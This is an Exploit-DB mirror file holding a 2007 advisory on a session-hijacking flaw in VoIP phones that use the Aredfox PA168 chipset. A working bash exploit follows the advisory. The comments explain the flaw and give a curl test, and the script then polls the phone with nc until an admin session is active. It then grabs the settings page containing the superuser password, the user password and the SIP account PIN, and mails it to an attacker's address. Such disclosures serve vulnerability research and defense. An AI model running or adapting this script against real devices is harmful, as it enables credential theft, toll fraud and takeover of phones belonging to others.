exploit-db-mirror/exploits/php/webapps/29508.sh

source: https://www.securityfocus.com/bid/22191/info

Multiple VoIP phones using the Aredfox PA168 Chipset are prone to a session-hijacking vulnerability due to a design error.

An attacker can exploit this issue to gain administrative access to the embedded webserver running on the affected device. This may allow attackers to completely compromise affected devices.

VoIP phones using the Aredfox PA168 chipset with SIP Firmware V1.42 and 1.54 are vulnerable.

#!/bin/bash
# PR06-14: IP Phones based on Centrality Communications/Aredfox PA168
chipset weak session management vulnerability

# Author: Adrian Pastor [adrian.pastor-AT-procheckup.com] from
ProCheckUp

# This advisory has been published following consultation with UK NISCC
[http://www.niscc.gov.uk/]
# Date Found: 3rd November 2006
# Date Public: 22nd January 2007
# Vulnerable:
# Phones confirmed to be vulnerable:
# - ATCOM AT-320ED IP Phone running SIP firmware version V1.42 and 1.54
# - SOYO G668 Ethernet IP Phone running SIP firmware version v1.42
# The following vendors/models also use the same PA168 chipset/firmware
# and are therefore most likely to be vulnerable to the same issue:
# - AriaVoice
# - AT-323 from ATcom
# - JR168_100B from IPLink
# - JR168_100W from IPLink
# - JR168_200 from IPLink
# - Netweb-401/402 from NetWebGroup
# - OB-WAN VoIP: Ethernet#1 and Ethernet#2 phones are PA168-based
# - Vida some phones PA168 based
# - Wuchuan HOP-1001/1002/1003
# - Giptel IP phones G100, also Siptronic ST-100 and Siptronic ST-150
(PA168S chipset)
# - GNET some phones PA168x based
# - KE1020 Netphone (Meritline)
# - ML210 Meritline
# - Integrated Networks IN-1002. Found on eBay.
# - ArtDio IPF-2000 and IPF-2002L phones
# - Perfectone IP300

# Severity: Medium

# CVE Candidate: Not assigned

# Overview:
# There is a problem with the way IP Phones using the PA168 chipset
handle
# authenticated sessions, allowing remote attackers to gain access to
the
# admin web console running as superuser.

# Description:
# When the superuser account authenticates to the admin web console, a
# request such as the following is sent to the IP phone's web server:

# POST /a HTTP/1.1
# Referer: http://192.168.1.100/
# Host: 192.168.1.100
# Content-Length: 31

# auth=12345678&login=+++Login+++

# At this point, the superuser session is considered *active* by the web
# server. All it takes for attackers to perform an administrative task
at
# this point, is for them to send a well-formed request to the web
server.
# Since no authentication tokens or password are submitted within the
HTTP
# requests, anyone can perform administrative tasks while the session is
# active. Even if the attacker sends the administrative requests from an
# IP address different to the one used by the superuser account, the IP
# Phone's web server would accept them as long as the superuser's
session
# is still active.

# A script called "active-session-attack.sh" has been created, which
# remotely checks repeatedly until a superuser account has logged on by
# sending a forged superuser request every five seconds. As soon as the
# superuser session becomes active, the following information will be
# obtained from the settings page, and emailed to the attacker:

# - IP phone's superuser password - grants administrative access
# - IP phone's user password - grants restricted access
# - SIP gateway hostname/IP address
# - SIP account username
# - SIP account PIN number

# REQUEST:

# POST /g HTTP/1.1
# Host: 192.168.1.100
# Content-Length: 13

# back=++Back++

# RESPONSE (output has been partially omitted for clarification):

# HTTP/1.1 200 OK
# Content-Length: 16727
# Content-Type: text/html
# Connection: close

# <TITLE>IP Phone V1.54</TITLE>
# [output omitted]
# <INPUT name=sipproxy value="sip.test.com">
# <INPUT name=domain value="sip.test.com">
# <INPUT name=account value="myaccount" size=24 maxlength=32>
# <INPUT name=pin type=password value="1234">
# <INPUT name=superpassword type=password value="12345678">
# <INPUT name=password type=password value="1234">
# [output omitted]

# In order to test this vulnerability, the following steps have been
provided:

# 1. Log into http://192.168.1.100 from computer A using the superuser
# password ('12345678' by default)
# 2. Send the following curl command from computer B:
# curl -d "back=++Back++" http://192.168.1.100/g
# 3. The administrative settings page should be returned without any
# password required.
# Note: the IP phone's web server is enabled by default
# Fix:

# Use access control lists on routers or firewalls in order to only
allow
# trusted IP addresses to access ATCOM AT-320ED IP Phone's web server.
# Exposing the PA168-based IP Phone's admin web server on the Internet
is
# not recommended.

# References:
# http://www.voip-info.org/wiki/view/PA168
# http://www.centralitycomm.com/
# http://www.aredfox.com/eindex.htm
# http://www.atcom.cn/En_products_At320ED.html
# http://www.soyogroup.com/products/proddesc.php?id=307
# http://www.procheckup.com/Vulner_2007.php

host="192.168.1.100";
attackers_email="adrian.pastor-AT-procheckup.com"
req="POST /g HTTP/1.0\r\nContent-length:
13\r\n\r\nback=++Back++\r\n\r\n";

while true
do
        res=`echo -en $req | nc -nv $host 80`;
        if echo $res | grep superpassword # if this gets returned, then
we got the settings page with all SIP account and IP phone creds
        then
                echo "GOT IT!"
                echo $res > "admin-settings-page"
                echo $res | mail $attackers_email -s "PA168 IP Phone
admin's settings page"
                exit 1
        else
                echo "bad luck"
        fi
        sleep 5
done